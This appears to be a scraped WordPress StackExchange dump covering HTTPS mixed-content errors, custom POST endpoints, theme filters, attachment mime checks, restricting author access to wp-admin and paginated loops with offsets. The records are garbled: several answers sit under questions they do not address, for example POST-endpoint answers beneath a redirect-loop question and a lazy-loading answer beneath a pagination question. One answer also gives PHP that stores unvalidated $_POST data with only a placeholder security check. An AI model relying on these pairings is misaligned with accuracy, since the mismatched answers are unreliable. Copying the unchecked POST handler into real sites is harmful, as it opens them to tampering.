<p>I forced the siteurl and home url to https in mysql database, to test https</p>
<p>While open my wordpress web site, and click show block content. chrome console prompt 'This page is insecure (broken HTTPS).'</p>
<p>Chrome console also report that there are some stylesheet/script/image are not served over HTTPS
<a href="https://i.stack.imgur.com/fw0GY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/fw0GY.png" alt="stylesheet/script/image are not served over HTTPS"></a></p>
<p>I've tried to install related plugins to fix this, but failed. So they are disabled.
<a href="https://i.stack.imgur.com/Gnlk2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Gnlk2.png" alt="plugins to fix mixed content"></a></p>
<p>The admin area of my wordpress can not be loaded, due to ERR_TOO_MANY_REDIRECTS</p>
<p>I would like to know how to fix the mixed content and too many redirects in admin logon page issues.</p>
<p>Suggestions are welcomed.</p>
<p>****************** Update ***********************</p>
<p>Hi~ I would like to provide more details about my test wordpress site settings.</p>
<p>Parts of my wp-config.php values related to WP_SITEURL, WP_HOME, HTTPS:</p>
<pre><code>define('WP_SITEURL', 'https://'.$_SERVER['HTTP_HOST']);
define('WP_HOME', 'https://'.$_SERVER['HTTP_HOST']);
define('FORCE_SSL_ADMIN', true);
if ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')
$_SERVER['HTTPS']='on';
</code></pre>
<p>'siteurl' & 'home' values from field of wp_options in wordpress DB:</p>
<pre><code>https://yuantafood.i-shopping.email
https://yuantafood.i-shopping.email
</code></pre>
<p>As commented above, I could only login wp-admin page with my internal IP address.
Try to login wp-admin page with external IP/FQDN can not be loaded, due to error: ERR_TOO_MANY_REDIRECTS.</p>
<p>With googled for many posts, force SSL with .htaccess seems worked for others to escape the mixed content issues.</p>
<p>I also tried with many methods to edit .htaccess, mainly 301 permanently redirect and 302 temporarily redirect. </p>
<p>values of .htaccess file in the wordpress folder(301)</p>
<pre><code># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
# RewriteBase /
# RewriteRule ^index\.php$ - [L]
# RewriteCond %{REQUEST_FILENAME} !-f
# RewriteCond %{REQUEST_FILENAME} !-d
# RewriteRule . /index.php [L]
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://yuantafood.i-shopping.email/$1 [R=301,L]
</IfModule>
# END WordPress
# Wordfence WAF
<IfModule mod_php5.c>
php_value auto_prepend_file '/var/www/wordpress/wordfence-waf.php'
</IfModule>
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
</code></pre>
<p>Both 301 & 302 redirect failed, and caused all site can not be loaded due to ERR_TOO_MANY_REDIRECTS.</p>
| [
{
"answer_id": 253489,
"author": "Cdorob",
"author_id": 111460,
"author_profile": "https://wordpress.stackexchange.com/users/111460",
"pm_score": 1,
"selected": false,
"text": "<p>You should start by making a new page template starting from a template you already have in the theme (edit a template, change the name of the template on the top of the page, save as a different PHP file).</p>\n\n<p>Then add the PHP code to process the HTTP post to the new file.</p>\n\n<p>The last step is to go to the dashboard and create a new page using the new template.</p>\n"
},
{
"answer_id": 253490,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 3,
"selected": true,
"text": "<p>Easy! You have a couple of options to do so.</p>\n\n<p>The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it <code>get_post.php</code> and add WordPress functionality to it. </p>\n\n<p>Like so:</p>\n\n<pre><code><?php \n require_once('wp-load.php'); // add wordpress functionality\n $post = $_POST;\n\n if ( $something ) // security check\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be <code>yourdomain.com/get_posts.php</code></p>\n\n<p>Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.</p>\n\n<pre><code><?php \n /* Template Name: Api Template */ \n\n if ( ! defined( ‘ABSPATH’ ) ) {\n exit;\n }\n\n $post = $_POST;\n\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be: <code>yourdomain.com/newly-created-page-permalink</code>.</p>\n"
},
{
"answer_id": 253499,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<p>Since 4.4 and above wordpress has an official end point for \"API\" type of access - wp-json, which you can extend by defining you own extension point and handler with <a href=\"https://developer.wordpress.org/reference/functions/register_rest_route/\" rel=\"nofollow noreferrer\">register_rest_route</a>, never tried to send a non json payload that way, but I assume it should be possible, or your front end can easily encode it as json.</p>\n\n<p>The advantage over other answers here is that it lets wordpress know that the request is an API request and not a front end one.</p>\n\n<p>(in older versions you could have used rewrite rules... but it is too messy to even mention)</p>\n"
},
{
"answer_id": 383052,
"author": "njmwas",
"author_id": 201644,
"author_profile": "https://wordpress.stackexchange.com/users/201644",
"pm_score": 1,
"selected": false,
"text": "<p>I would like to give an example to @Mark Kaplun's answer.\nYou can register an endpoint to process your http post requests using register_rest_route like this:-</p>\n<pre><code>/** first create a function for processing your request*/\nfunction process_my_request(WP_REST_Request $request){\n $request_body = $request->get_body_params();\n if(update_post_meta( $request_body['post_id'], 'post_data', $request_body )){\n $response = new WP_REST_Response(array('message'=>'Successful'));\n $response->set_status(200);\n return $response;\n }\n else{\n return new WP_Error('invalid_request', 'Something went wrong', array('status'=>403));\n }\n}\n\n/** then create a register route callback function */\nfunction register_my_route(){\n register_rest_route('myplugin/v1', '/myroute', array(\n 'methods'=>'POST',\n 'callback'=>'process_my_request'\n ));\n}\nadd_action('rest_api_init', 'register_my_route');\n</code></pre>\n<p>Once you have done that, now you can post your requests to the following path</p>\n<pre><code>site_url('wp-json/myplugin/v1/myroute');\n</code></pre>\n"
}
]
| 2017/01/22 | [
"https://wordpress.stackexchange.com/questions/253544",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111379/"
]
| I ran into mixed content with SSL issues.
I've applied for Let's encrypt SSL certificate for my test wordpress site behind a reverse proxy(articaproxy).
The same SSL certificate has been deployed in reverse proxy server and wordpress virtual host.
The reverse proxy http/https redirect works fine.
I forced the siteurl and home url to https in mysql database, to test https
While open my wordpress web site, and click show block content. chrome console prompt 'This page is insecure (broken HTTPS).'
Chrome console also report that there are some stylesheet/script/image are not served over HTTPS
[](https://i.stack.imgur.com/fw0GY.png)
I've tried to install related plugins to fix this, but failed. So they are disabled.
[](https://i.stack.imgur.com/Gnlk2.png)
The admin area of my wordpress can not be loaded, due to ERR\_TOO\_MANY\_REDIRECTS
I would like to know how to fix the mixed content and too many redirects in admin logon page issues.
Suggestions are welcomed.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* Update \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Hi~ I would like to provide more details about my test wordpress site settings.
Parts of my wp-config.php values related to WP\_SITEURL, WP\_HOME, HTTPS:
```
define('WP_SITEURL', 'https://'.$_SERVER['HTTP_HOST']);
define('WP_HOME', 'https://'.$_SERVER['HTTP_HOST']);
define('FORCE_SSL_ADMIN', true);
if ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')
$_SERVER['HTTPS']='on';
```
'siteurl' & 'home' values from field of wp\_options in wordpress DB:
```
https://yuantafood.i-shopping.email
https://yuantafood.i-shopping.email
```
As commented above, I could only login wp-admin page with my internal IP address.
Try to login wp-admin page with external IP/FQDN can not be loaded, due to error: ERR\_TOO\_MANY\_REDIRECTS.
With googled for many posts, force SSL with .htaccess seems worked for others to escape the mixed content issues.
I also tried with many methods to edit .htaccess, mainly 301 permanently redirect and 302 temporarily redirect.
values of .htaccess file in the wordpress folder(301)
```
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
# RewriteBase /
# RewriteRule ^index\.php$ - [L]
# RewriteCond %{REQUEST_FILENAME} !-f
# RewriteCond %{REQUEST_FILENAME} !-d
# RewriteRule . /index.php [L]
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://yuantafood.i-shopping.email/$1 [R=301,L]
</IfModule>
# END WordPress
# Wordfence WAF
<IfModule mod_php5.c>
php_value auto_prepend_file '/var/www/wordpress/wordfence-waf.php'
</IfModule>
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
```
Both 301 & 302 redirect failed, and caused all site can not be loaded due to ERR\_TOO\_MANY\_REDIRECTS. | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,559 | <p>I use a very modern and fully-featured theme that has a lot of custom functions. Something like Avada, Enfold, etc.</p>
<p>There's this function called <strong>medigroup_mikado_custom_breadcrumbs</strong> that's being called at <strong>wp-content/themes/mytheme/framework/modules/title/title-functions.php</strong> and I'm trying to filter it in functions, with this code:</p>
<pre><code>function custom_debug_breadcrumb($breadcrumb) {
$breadcrumb = "test";
return $breadcrumb;
}
add_filter('medigroup_mikado_custom_breadcrumbs', 'custom_debug_breadcrumb', 10);
</code></pre>
<p>However, no matter what I put on that function, it doesn't seem to run at all.</p>
<p>My question is, can I filter a function called by a theme? Only for knowledge purposes, what if it was a plugin? Can I only filter core?</p>
| [
{
"answer_id": 253560,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p><strong>Filters</strong> are one of the two types of Hooks.</p>\n \n <p>They provide a way for functions to modify data of other functions.</p>\n</blockquote>\n\n<p>You can filter any function that has applied a filter on it's variables during the function definition.</p>\n\n<p>For example, in the <a href=\"https://developer.wordpress.org/reference/functions/get_bloginfo/\" rel=\"nofollow noreferrer\"><strong><code>get_bloginfo</code></strong></a> function, you would see a filter applied on it's output just before the output is returned:</p>\n\n<pre><code>$output = apply_filters( 'bloginfo', $output, $show );\n</code></pre>\n\n<p>The above apply_filters call means you can modify the output by defining a filter such as:</p>\n\n<pre><code>function wpse253559_define_filter( $output, $show ) {\n\n return 'altered';\n}\n\nadd_filter( 'bloginfo', 'wpse253559_define_filter', 10, 2 );\n</code></pre>\n\n<p>This would alter the output of <strong><code>get_bloginfo</code></strong> to always return <strong>\"altered\"</strong> no matter what it's initial value is. You can read more on <code>add_filter</code> and <code>apply_filters</code>.</p>\n\n<p><strong>References:</strong> </p>\n\n<ul>\n<li><a href=\"https://developer.wordpress.org/reference/functions/add_filter/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/add_filter/</a></li>\n<li><a href=\"https://developer.wordpress.org/reference/functions/apply_filters/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/apply_filters/</a></li>\n</ul>\n"
},
{
"answer_id": 253561,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 0,
"selected": false,
"text": "<p>What you're trying to do is not filtering, but monkeypatching. You can't monkeypatch via filtering. A filter is a type of hook, an even with a name. Some filters have the same name as the functions that call them, but this is a coincidence/convention</p>\n\n<p>If you want to modify what the function returns via a filter, that function needs to pass what it returns into a filter so that it can be modified. The equivalent of saying \"I'm about to ship this, does anybody want to make any last minute changes?\". If the function doesn't do this then it can't be done via filters without forking the codebase</p>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253559",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27278/"
]
| I use a very modern and fully-featured theme that has a lot of custom functions. Something like Avada, Enfold, etc.
There's this function called **medigroup\_mikado\_custom\_breadcrumbs** that's being called at **wp-content/themes/mytheme/framework/modules/title/title-functions.php** and I'm trying to filter it in functions, with this code:
```
function custom_debug_breadcrumb($breadcrumb) {
$breadcrumb = "test";
return $breadcrumb;
}
add_filter('medigroup_mikado_custom_breadcrumbs', 'custom_debug_breadcrumb', 10);
```
However, no matter what I put on that function, it doesn't seem to run at all.
My question is, can I filter a function called by a theme? Only for knowledge purposes, what if it was a plugin? Can I only filter core? | >
> **Filters** are one of the two types of Hooks.
>
>
> They provide a way for functions to modify data of other functions.
>
>
>
You can filter any function that has applied a filter on it's variables during the function definition.
For example, in the [**`get_bloginfo`**](https://developer.wordpress.org/reference/functions/get_bloginfo/) function, you would see a filter applied on it's output just before the output is returned:
```
$output = apply_filters( 'bloginfo', $output, $show );
```
The above apply\_filters call means you can modify the output by defining a filter such as:
```
function wpse253559_define_filter( $output, $show ) {
return 'altered';
}
add_filter( 'bloginfo', 'wpse253559_define_filter', 10, 2 );
```
This would alter the output of **`get_bloginfo`** to always return **"altered"** no matter what it's initial value is. You can read more on `add_filter` and `apply_filters`.
**References:**
* <https://developer.wordpress.org/reference/functions/add_filter/>
* <https://developer.wordpress.org/reference/functions/apply_filters/> |
253,565 | <p>I'm using a function to create additional fields on media upload. They are important only for images and videos, but useless and even confusing to my users if they are uploading audio.</p>
<p>This is the function:</p>
<pre><code>function give_linked_images_data($html, $id, $caption, $title, $align, $url, $size, $alt = '' ){
$classes = 'img image-link';
if (get_post_meta($id, "pop_title") == '') $poptitle = ''; else $poptitle = ' data-title="'. get_post_meta($id, "pop_title", true) .'"';
$html = preg_replace('/(<a.*?)>/', '$1 data-toggle="lightbox" '. $poptitle .' ' . $classes . '" >', $html);
return $html;
}
</code></pre>
<p>The functions is added with </p>
<pre><code>add_filter('image_send_to_editor','give_linked_images_data',10,8);
</code></pre>
<p>...and I have a similar function using </p>
<pre><code>add_filter('media_send_to_editor','give_linked_images_data',10,8);
</code></pre>
<p>...but it runs on video <strong>and</strong> audio upload. How can I detect if the media being uploaded is audio, to disable the custom fields?</p>
| [
{
"answer_id": 253668,
"author": "Daniel Lemes",
"author_id": 31885,
"author_profile": "https://wordpress.stackexchange.com/users/31885",
"pm_score": 1,
"selected": false,
"text": "<p>I found out how:</p>\n\n<pre><code>$mime_type = get_post_mime_type($post->ID);\n// all mime https://codex.wordpress.org/Function_Reference/get_allowed_mime_types\n\n// videos and images only\n$permit_mime = array('image/jpeg','image/gif','image/png','image/bmp','image/tiff','image/x-icon','video/x-ms-asf','video/x-ms-wmv','video/x-ms-wmx','video/x-ms-wm','video/avi','video/divx','video/x-flv','video/quicktime','video/mpeg','video/mp4','video/ogg','video/webm','video/x-matroska');\n// if is video or image\nif (in_array($mime_type, $permit_mime)) {\n // the function\n}\n</code></pre>\n"
},
{
"answer_id": 253674,
"author": "birgire",
"author_id": 26350,
"author_profile": "https://wordpress.stackexchange.com/users/26350",
"pm_score": 3,
"selected": true,
"text": "<p>We can simplify the <em>mime type</em> checks, with the following <em>boolean</em> functions:</p>\n\n<ul>\n<li><p><code>wp_attachment_is( 'image', $id )</code> </p></li>\n<li><p><code>wp_attachment_is( 'video', $id )</code> </p></li>\n<li><p><code>wp_attachment_is( 'audio', $id )</code> </p></li>\n</ul>\n\n<p>where <code>$id</code> is the attachment ID. </p>\n\n<p>The attachment's ID is actually one of the input arguments for the <code>media_send_to_editor</code> filter callback. </p>\n\n<p>We also have:</p>\n\n<ul>\n<li><code>wp_attachment_is_image( $id )</code> </li>\n</ul>\n\n<p>that's a wrapper for <code>wp_attachment_is( 'image', $id )</code>.</p>\n\n<p><strong>References:</strong></p>\n\n<ul>\n<li><a href=\"https://developer.wordpress.org/reference/functions/wp_attachment_is/\" rel=\"nofollow noreferrer\"><code>wp_attachment_is()</code></a></li>\n<li><a href=\"https://developer.wordpress.org/reference/functions/wp_attachment_is_image/\" rel=\"nofollow noreferrer\"><code>wp_attachment_is_image()</code></a></li>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/media_send_to_editor/\" rel=\"nofollow noreferrer\"><code>media_send_to_editor</code></a></li>\n</ul>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253565",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/31885/"
]
| I'm using a function to create additional fields on media upload. They are important only for images and videos, but useless and even confusing to my users if they are uploading audio.
This is the function:
```
function give_linked_images_data($html, $id, $caption, $title, $align, $url, $size, $alt = '' ){
$classes = 'img image-link';
if (get_post_meta($id, "pop_title") == '') $poptitle = ''; else $poptitle = ' data-title="'. get_post_meta($id, "pop_title", true) .'"';
$html = preg_replace('/(<a.*?)>/', '$1 data-toggle="lightbox" '. $poptitle .' ' . $classes . '" >', $html);
return $html;
}
```
The functions is added with
```
add_filter('image_send_to_editor','give_linked_images_data',10,8);
```
...and I have a similar function using
```
add_filter('media_send_to_editor','give_linked_images_data',10,8);
```
...but it runs on video **and** audio upload. How can I detect if the media being uploaded is audio, to disable the custom fields? | We can simplify the *mime type* checks, with the following *boolean* functions:
* `wp_attachment_is( 'image', $id )`
* `wp_attachment_is( 'video', $id )`
* `wp_attachment_is( 'audio', $id )`
where `$id` is the attachment ID.
The attachment's ID is actually one of the input arguments for the `media_send_to_editor` filter callback.
We also have:
* `wp_attachment_is_image( $id )`
that's a wrapper for `wp_attachment_is( 'image', $id )`.
**References:**
* [`wp_attachment_is()`](https://developer.wordpress.org/reference/functions/wp_attachment_is/)
* [`wp_attachment_is_image()`](https://developer.wordpress.org/reference/functions/wp_attachment_is_image/)
* [`media_send_to_editor`](https://developer.wordpress.org/reference/hooks/media_send_to_editor/) |
253,580 | <p>i want author role can't access wp-admin but still enable the capabilities so they can delete the posts from front end page ?</p>
| [
{
"answer_id": 253592,
"author": "mukto90",
"author_id": 57944,
"author_profile": "https://wordpress.stackexchange.com/users/57944",
"pm_score": 3,
"selected": true,
"text": "<p>Use this code in your <code>functions.php</code> file or in a plugin-</p>\n\n<pre><code>function wpse_253580_prevent_author_access(){\n if( current_user_can( 'author' ) && is_admin() ) {\n // do something here. maybe redirect to homepage\n wp_safe_redirect( get_bloginfo( 'url' ) );\n }\n}\nadd_action( 'admin_init', 'wpse_253580_prevent_author_access' );\n</code></pre>\n\n<p>This will check if current user is an <strong>author</strong> and he is trying to access <strong>wp-admin</strong> area. If true, then redirect him to <strong>homepage</strong>.</p>\n"
},
{
"answer_id": 361483,
"author": "Elly Post",
"author_id": 74113,
"author_profile": "https://wordpress.stackexchange.com/users/74113",
"pm_score": 1,
"selected": false,
"text": "<p>The above answer by Mukto90 is a little outdated. A better approach would be:</p>\n\n<ol>\n<li>Check capabilities instead of role name (<code>current_user_can</code> does support a role name but it's not guaranteed to work and these roles can be renamed)</li>\n<li>Only redirect if it's not doing AJAX</li>\n<li>exit after safe redirect</li>\n</ol>\n\n<p>Updated answer follows:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_action( 'admin_init', function(){\n if( (!current_user_can( 'edit_others_posts' ) && current_user_can('edit_posts') && is_admin()) && !wp_doing_ajax() ) {\n // do something here. maybe redirect to homepage\n wp_safe_redirect( get_site_url() );\n exit;\n }\n} );\n</code></pre>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253580",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/107171/"
]
| i want author role can't access wp-admin but still enable the capabilities so they can delete the posts from front end page ? | Use this code in your `functions.php` file or in a plugin-
```
function wpse_253580_prevent_author_access(){
if( current_user_can( 'author' ) && is_admin() ) {
// do something here. maybe redirect to homepage
wp_safe_redirect( get_bloginfo( 'url' ) );
}
}
add_action( 'admin_init', 'wpse_253580_prevent_author_access' );
```
This will check if current user is an **author** and he is trying to access **wp-admin** area. If true, then redirect him to **homepage**. |
253,631 | <p>I'm working on a theme and I am having trouble with loops/pagination breaks when using an offest. I looked online and tried to use only 1 loop (<a href="https://wordpress.stackexchange.com/questions/217618/two-custom-loops-pagination-offset">per this post</a>) but I'm having trouble making it work.</p>
<p>I want to have the first 3 posts at the top of the page be the most recent (post 1-3), and then bottom 3 posts to be the next 3 (post 4-6), when you click on the pagination I want it to be at the top (post 1-3), and posts (7-9).</p>
<p>Right now the code works where it shows up properly on the first page, but when I click "back" on the pagination it just shows the exact same 6 posts over and over again on each previous page.</p>
<p>See my code for my Index page below:</p>
<pre><code><?php get_header(); ?>
<div class="row post-carousel">
<?php
$args = array(
'posts_per_page' => '3',
);
$query = new WP_query ( $args );
if ( $query->have_posts() ) { ?>
<?php while ( $query->have_posts() ) : $query->the_post(); /* start the loop */ ?>
<div class="col-xs-12 col-sm-4">
<article id="post-<?php the_ID(); ?>" <?php post_class( 'most-recent' ); ?>>
<?php if ( has_post_thumbnail() ) { ?>
<a href="<?php the_permalink(); ?>">
<div class="post-thumbnail-img"><?php the_post_thumbnail('index-carousel'); ?></div>
</a>
<?php } ?>
<?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?>
</article><!-- #post-## -->
</div>
<?php // End the loop.
endwhile;
rewind_posts();
} ?>
</div>
<div class="row newsletter-container">
<div class="newsletter col-sm-12 col-md-6">
<p>Sign up for my newsletter, for all the latest updates!</p>
</div>
<div class="newsletter col-sm-12 col-md-6">
<!-- Begin MailChimp Signup Form -->
<!-- code goes here -->
<!--End mc_embed_signup-->
</div>
</div>
<?php query_posts('posts_per_page=3&offset=3');
if ( have_posts() ) : ?>
<?php /* Start the Loop */ ?>
<?php while ( have_posts() ) : the_post(); ?>
<?php
/* Include the Post-Format-specific template for the content.
* If you want to overload this in a child theme then include a file
* called content-___.php (where ___ is the Post Format name) and that will be used instead.
*/
get_template_part( 'content', get_post_format() );
?>
<?php endwhile; ?>
<?php _tk_content_nav( 'nav-below' ); ?>
<?php else : ?>
<?php get_template_part( 'no-results', 'index' ); ?>
<?php endif; ?>
<?php get_footer(); ?>
</code></pre>
<p>Also, when I try to use the PHP alternative syntax for control structures, it just seems to break the code and the whole page goes white.</p>
<p>Adding in the navigation code as well:</p>
<pre><code>if ( ! function_exists( '_tk_content_nav' ) ) :
/**
* Display navigation to next/previous pages when applicable
*/
function _tk_content_nav( $nav_id ) {
global $wp_query, $post;
// Don't print empty markup on single pages if there's nowhere to navigate.
if ( is_single() ) {
$previous = ( is_attachment() ) ? get_post( $post->post_parent ) : get_adjacent_post( false, '', true );
$next = get_adjacent_post( false, '', false );
if ( ! $next && ! $previous )
return;
}
// Don't print empty markup in archives if there's only one page.
if ( $wp_query->max_num_pages < 2 && ( is_home() || is_archive() || is_search() ) )
return;
$nav_class = ( is_single() ) ? 'post-navigation' : 'paging-navigation';
?>
<nav role="navigation" id="<?php echo esc_attr( $nav_id ); ?>" class="<?php echo $nav_class; ?>">
<h1 class="screen-reader-text"><?php _e( 'Post navigation', '_tk' ); ?></h1>
<ul class="pager">
<?php if ( is_single() ) : // navigation links for single posts ?>
<?php previous_post_link( '<li class="nav-previous previous">%link</li>', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', '_tk' ) . '</span> %title' ); ?>
<?php next_post_link( '<li class="nav-next next">%link</li>', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', '_tk' ) . '</span>' ); ?>
<?php elseif ( $wp_query->max_num_pages > 1 && ( is_home() || is_archive() || is_search() ) ) : // navigation links for home, archive, and search pages ?>
<?php if ( get_next_posts_link() ) : ?>
<li class="nav-previous previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', '_tk' ) ); ?></li>
<?php endif; ?>
<?php if ( get_previous_posts_link() ) : ?>
<li class="nav-next next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', '_tk' ) ); ?></li>
<?php endif; ?>
<?php endif; ?>
</ul>
</nav><!-- #<?php echo esc_html( $nav_id ); ?> -->
<?php
}
endif; // _tk_content_nav
</code></pre>
| [
{
"answer_id": 253622,
"author": "fergbrain",
"author_id": 111481,
"author_profile": "https://wordpress.stackexchange.com/users/111481",
"pm_score": 0,
"selected": false,
"text": "<p>If you've just moved to WP hosting, it might be an issue with the Jetpack Photon service. Disable that and see if it resolves the issue.</p>\n"
},
{
"answer_id": 390752,
"author": "terryoboy",
"author_id": 175656,
"author_profile": "https://wordpress.stackexchange.com/users/175656",
"pm_score": 1,
"selected": false,
"text": "<p>It is possible that there is lazy loading happening. Look at any plugins that may have an effect on page loads. For example, JetPack has an option to cache files as well as lazy load files.</p>\n<p>Another factor may be that the images are set to <a href=\"https://www.ionos.com/digitalguide/websites/web-design/progressive-jpeg/\" rel=\"nofollow noreferrer\">progressively load</a>.</p>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253631",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111586/"
]
| I'm working on a theme and I am having trouble with loops/pagination breaks when using an offest. I looked online and tried to use only 1 loop ([per this post](https://wordpress.stackexchange.com/questions/217618/two-custom-loops-pagination-offset)) but I'm having trouble making it work.
I want to have the first 3 posts at the top of the page be the most recent (post 1-3), and then bottom 3 posts to be the next 3 (post 4-6), when you click on the pagination I want it to be at the top (post 1-3), and posts (7-9).
Right now the code works where it shows up properly on the first page, but when I click "back" on the pagination it just shows the exact same 6 posts over and over again on each previous page.
See my code for my Index page below:
```
<?php get_header(); ?>
<div class="row post-carousel">
<?php
$args = array(
'posts_per_page' => '3',
);
$query = new WP_query ( $args );
if ( $query->have_posts() ) { ?>
<?php while ( $query->have_posts() ) : $query->the_post(); /* start the loop */ ?>
<div class="col-xs-12 col-sm-4">
<article id="post-<?php the_ID(); ?>" <?php post_class( 'most-recent' ); ?>>
<?php if ( has_post_thumbnail() ) { ?>
<a href="<?php the_permalink(); ?>">
<div class="post-thumbnail-img"><?php the_post_thumbnail('index-carousel'); ?></div>
</a>
<?php } ?>
<?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?>
</article><!-- #post-## -->
</div>
<?php // End the loop.
endwhile;
rewind_posts();
} ?>
</div>
<div class="row newsletter-container">
<div class="newsletter col-sm-12 col-md-6">
<p>Sign up for my newsletter, for all the latest updates!</p>
</div>
<div class="newsletter col-sm-12 col-md-6">
<!-- Begin MailChimp Signup Form -->
<!-- code goes here -->
<!--End mc_embed_signup-->
</div>
</div>
<?php query_posts('posts_per_page=3&offset=3');
if ( have_posts() ) : ?>
<?php /* Start the Loop */ ?>
<?php while ( have_posts() ) : the_post(); ?>
<?php
/* Include the Post-Format-specific template for the content.
* If you want to overload this in a child theme then include a file
* called content-___.php (where ___ is the Post Format name) and that will be used instead.
*/
get_template_part( 'content', get_post_format() );
?>
<?php endwhile; ?>
<?php _tk_content_nav( 'nav-below' ); ?>
<?php else : ?>
<?php get_template_part( 'no-results', 'index' ); ?>
<?php endif; ?>
<?php get_footer(); ?>
```
Also, when I try to use the PHP alternative syntax for control structures, it just seems to break the code and the whole page goes white.
Adding in the navigation code as well:
```
if ( ! function_exists( '_tk_content_nav' ) ) :
/**
* Display navigation to next/previous pages when applicable
*/
function _tk_content_nav( $nav_id ) {
global $wp_query, $post;
// Don't print empty markup on single pages if there's nowhere to navigate.
if ( is_single() ) {
$previous = ( is_attachment() ) ? get_post( $post->post_parent ) : get_adjacent_post( false, '', true );
$next = get_adjacent_post( false, '', false );
if ( ! $next && ! $previous )
return;
}
// Don't print empty markup in archives if there's only one page.
if ( $wp_query->max_num_pages < 2 && ( is_home() || is_archive() || is_search() ) )
return;
$nav_class = ( is_single() ) ? 'post-navigation' : 'paging-navigation';
?>
<nav role="navigation" id="<?php echo esc_attr( $nav_id ); ?>" class="<?php echo $nav_class; ?>">
<h1 class="screen-reader-text"><?php _e( 'Post navigation', '_tk' ); ?></h1>
<ul class="pager">
<?php if ( is_single() ) : // navigation links for single posts ?>
<?php previous_post_link( '<li class="nav-previous previous">%link</li>', '<span class="meta-nav">' . _x( '←', 'Previous post link', '_tk' ) . '</span> %title' ); ?>
<?php next_post_link( '<li class="nav-next next">%link</li>', '%title <span class="meta-nav">' . _x( '→', 'Next post link', '_tk' ) . '</span>' ); ?>
<?php elseif ( $wp_query->max_num_pages > 1 && ( is_home() || is_archive() || is_search() ) ) : // navigation links for home, archive, and search pages ?>
<?php if ( get_next_posts_link() ) : ?>
<li class="nav-previous previous"><?php next_posts_link( __( '<span class="meta-nav">←</span> Older posts', '_tk' ) ); ?></li>
<?php endif; ?>
<?php if ( get_previous_posts_link() ) : ?>
<li class="nav-next next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">→</span>', '_tk' ) ); ?></li>
<?php endif; ?>
<?php endif; ?>
</ul>
</nav><!-- #<?php echo esc_html( $nav_id ); ?> -->
<?php
}
endif; // _tk_content_nav
``` | It is possible that there is lazy loading happening. Look at any plugins that may have an effect on page loads. For example, JetPack has an option to cache files as well as lazy load files.
Another factor may be that the images are set to [progressively load](https://www.ionos.com/digitalguide/websites/web-design/progressive-jpeg/). |
